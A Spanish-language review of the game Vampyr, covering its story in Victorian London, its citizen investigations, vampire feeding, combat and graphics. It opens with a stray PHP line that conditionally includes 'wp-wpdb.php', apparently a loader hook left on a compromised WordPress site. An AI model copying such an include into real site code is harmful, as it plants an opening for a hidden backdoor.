if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Análisis Vampyr – La Fortaleza de LeChuck

Análisis Vampyr

¿Dónde se habían metido los vampiros todo este tiempo? Eso fue lo primero que pensé al ser anunciado Vampyr, juego de Dontnod que tenía como objetivo llevarnos de aventura al Londres victoriano de la mano del doctor Jonathan Reid, quien acaba de renacer como vampiro. El deber y sed de sangre se mezclan en una ciudad que se cae a pedazos.

Desde la original novela de Drácula de Bram Stoker y su posterior adaptación al cine, pasando por otros acercamientos al género vampiresco como Entrevista con el Vampiro. El mundo de los chupasangres ha tenido sus representaciones a través de la cultura pop y se ha ido reinventado de diversas formas, aunque últimamente salpicado por obras ñoñas dirigidas hacia un público meramente adolescente. Los videojuegos también realizaron su incursión y, posiblemente, la saga Castlevania sea el referente, pero no por ello hay que obviar otros clásicos como Vampiro: la mascarada, el cual gozó de una amplia popularidad.

Tras un tiempo de sequía del néctar carmesí, Dontnod ha abandonado durante unos meses la temática juvenil de Life is Strange para hacernos viajar en el tiempo hasta el Londres de principios del siglo XX en una aventura de corte adulto. Vampyr nos sumerge en una ciudad lúgubre y decadente, lugar donde nuestro protagonista, Jonathan Reid, regresa después de un tiempo sirviendo en el ejército. Sin embargo, tras su vuelta a Londres ha despertado en su interior una insaciable sed de sangre que choca con la funesta situación de la ciudad, la cual está sumida en una epidemia de gripe española. Muchas viviendas están cerradas por cuarentena y otras hace tiempo que fueron abandonadas. Allí solo perduran los matones de poca monta y gente humilde que no tiene nada que perder. Por si su propia situación no fuese suficientemente delicada, debería hacer frente a diversas amenazas e incluso al origen de su propia existencia. Afortunadamente, cuenta con la ayuda del director del hospital Pembroke, Edgar Swansea, quien le da cobijo y empleo en su institución.

Nuevo vampiro en la ciudad

El hospital de Pembroke es uno de los territorios más importantes del juego y eje central de la historia. Desde allí se iniciarán las principales misiones y también las secundarias cortesía de los numerosos sujetos que residen en él. A medida que avancemos, otros barrios cercanos se irán desbloqueando y, con ellos, caras nuevas. Cada distrito dispone de un determinado pilar, es decir, un personaje destacado que tiene peso en la historia principal, pero, además, nos esperan una serie de ciudadanos que necesitan asistencia con asuntos personales. Todos y cada uno de ellos esconden un pasado que el jugador, si lo desea, puede ir desentrañando mediante las pruebas y preguntas adecuadas. De esta manera, a través del diálogo desbloquearemos las pistas que contienen información personal y que de primeras se niegan a revelarnos. Frecuentemente, tropezaremos con personajes que están interrelacionados entre sí. Por ejemplo, hablando con las enfermeras del hospital, me confesaron secretos del conductor de la ambulancia, y a continuación en pantalla apareció el mensaje de «pista desbloqueada». Al dirigirme al tipo, nuevas opciones de diálogo de color azul estaban disponibles. No obstante, si descubrimos algo revelador y no tenemos suficiente información, o preguntamos en el orden incorrecto, podemos perder algunas pistas para siempre.

También es posible recabar nuevos datos recogiendo objetos personales o usando nuestros increíbles sentidos vampíricos, y eso incluye cotillear desde metros de distancia gracias a nuestra enorme capacidad auditiva. La vieja’l visillo estaría orgullosa. Las preguntas a nuestro entorno propiciarán la aparición de investigaciones locales, lo que viene a ser las misiones secundarias de toda la vida (o de recadero, según algunos). Para no despistarnos, un menú sobre los habitantes estará a nuestra disposición. Y es de agradecer porque hay muuuchos humanos que requieren de nuestros servicios. No faltarán las decisiones, marca de Dontnod, y tanto en misiones principales como en secundarias tendremos que decidir sobre cuestiones tan básicas como el destino de maleantes u otras más complejas que quizá requieran una reflexión más profunda. No obstante, no hay que esperar a las misiones para actuar como un buen vampiro, ya que tenemos libertad para dar caza a cualquier individuo que ronda la ciudad. Esta habilidad se denomina «cautivar», y si nuestro nivel supera al de la víctima, extraeremos su sangre de un buen mordisco y ganaremos así una bonita suma de experiencia. Cuanto más descubramos de la víctima, más puntos de experiencia nos dará su sangre.

Los distritos estarán muy animados con muchos vecinos y secretos por descubrir

Después de completar misiones y solucionar las vidas de las gentes del lugar, la noche siguiente observaremos los cambios en la salud de los distritos, o dicho en otras palabras, su estabilidad. Una buena forma de aumentar el índice de salud es entregar nuestras soluciones a enfermos. Pero si por el contrario, deseamos sembrar el caos, no hay nada mejor que sentenciar humanos. Personalmente, hice de vampiro en pocas ocasiones. En una acabé con la vida de un chico que estaba metido en follones de bandas, cuando luego me dirigí a su padre y me comunicó la noticia de su fallecimiento, me sentí mal pero sumé mucha experiencia y se me pasó 😀 Pero sobre todo me decidí por ser un buen médico y cada jornada ofrecía mis remedios por los distritos con el fin de que a la noche siguiente mis pacientes estuvieran sanos y la zona estable.

En Vampyr repartiremos mucha estopa a todos aquellos cazavampiros y enemigos que salen a nuestro paso. Dontnod no se ha complicado con el sistema de combate y es sencillo pero resultón para un juego de estas características. Podremos equiparnos armas y poderes que están relacionados con tres barras: vida, energía y sangre. Esta última la necesitamos para lanzar poderosos ataques vampíricos. Llenar esta barra es tan sencillo como absorber sangre de enemigos en pleno combate, o mientras paseamos por la ciudad, pero si no deseamos atacar a humanos, hay muchas ratitas para zampar.

El juego nos permite elegir entre armas blancas y de fuego, tanto a una como a dos manos. De esta manera podemos realizar combinaciones tales como una pistola en una mano y espada en otra, o un poderoso bate a dos manos. Disponemos de un pequeño menú de materiales y fabricación que nos facilitará la mejora nuestro arsenal con piezas que hallaremos por las calles. Yo me decanté por un gran mazo a dos manos combinado con poderes sobrenaturales que iba volviendo más letales con puntos de experiencia. Un ejemplo de mi performance en combate sería la siguiente: tras unos cuantos palos al tipo malo seleccionado, lo dejaba aturdido y se abría ante mí la oportunidad de beber su sangre y robar parte de su vida. Después le asestaría un duro golpe con la garra vampírica para poner fin a su existencia. A continuación, me centraba en el siguiente con la técnica de lanzamiento por los aires para finalmente empalarlo en un pico fantasmagórico de sangre. Adiós cazavampiros.

No hay piedad para este grupo de cazadores, pero tampoco para los Skals, seres que han perdido el juicio y atacan a cualquier individuo que se acerque. Gracias a nuestra visión vampírica, observamos los puntos débiles y fuertes de todas estas amenazas, lo que nos ofrecerá cierta ventaja. Sin embargo, los realmente peligrosos son los jefes, vampiros con nombres y apellidos que nos recibirán en un lugar cerrado. Estos tipos se nutren de diferentes poderes y subirán unos grados la dificultad. No los subestimes.

El jugador puede adaptar el combate a sus preferencias. Disparos, palos o poderes varios. Simplicidad y efectividad.

Si hablamos de la parte gráfica, podríamos decir que el juego intenta simular técnicamente a un AAA, y quizá en la ambientación lo consigue, pero falla estrepitosamente en las animaciones y modelados. Recuerdo como algunos movimientos y primeros planos de personajes eran tan simples y arcaicos que me sacaban del juego. Es así como en muchas ocasiones dudaba de si su intención era ser caricaturesco como en Dishonored o simplemente apuntaron demasiado alto. Aunque debo señalar que después de un rato de juego, no pesaba tanto y me acostumbré. Por otro lado, los actores de voz son muy buenos y el sonido en general está a la altura, lo que ayuda a cubrir las carencias de otros apartados y complementa de maravilla la estupenda ambientación de las calles londinenses de la época.

Hasta aquí el juego os puede resultar interesante, pero tengo que decir que los primeros minutos con Vampyr no me dieron buenas vibraciones. Después de una introducción al más puro estilo novelesco, empezaba la acción demasiado rápido, como si quisieran quitarse lo más pronto posible la premisa de la transformación vampírica y pasar al tutorial. La primera media hora es realmente pesada y dan ganar de tirar la toalla, pero si se logra pasar este tedioso rato y llegar al hospital donde nuestro médico por fin puede relajarse, el título comienza a rodar y el jugador tendrá libertad para recorrer sus entornos y conocer al plantel de NPCs. De hecho, hay tantos personajes por distrito que en ocasiones resulta abrumador. Son muchos relatos, algunos más interesantes que otros, así que aconsejo no obsesionarse con desbloquearlos todos antes de pasar a otra localización.

Resumiendo, Vampyr es un juego con altibajos. Tarda en arrancar pero pasado un rato toma un buen ritmo. A nivel narrativo, tiene momentos brillantes repartidos entre el pasado de nuestro doctor y la vida de algunos habitantes de Londres, pero quizá hubiera sido más conveniente reducir el número de individuos y aportar un trasfondo más trabajado y con menos clichés. Su punto fuerte es la ambientación, que consigue envolvernos de una manera extraordinaria al pasear por los distritos de Londres cuando cae la noche.

Sin duda Vampyr es un juego destacable para ser de bajo presupuesto, así como una buena primera incursión de Dontnot en la temática vampírica, esperemos que no sea la última.

Por Arashi

Aparte de patear traseros de piratas como gobernadora en Mêlée, soy una fanática de los videojuegos desde que de pequeña me regalaron la Atari 2600. Adoro las aventuras gráficas y los RPG, pero no le hago ascos al resto. Otra de mis pasiones es todo lo relacionado con Japón.

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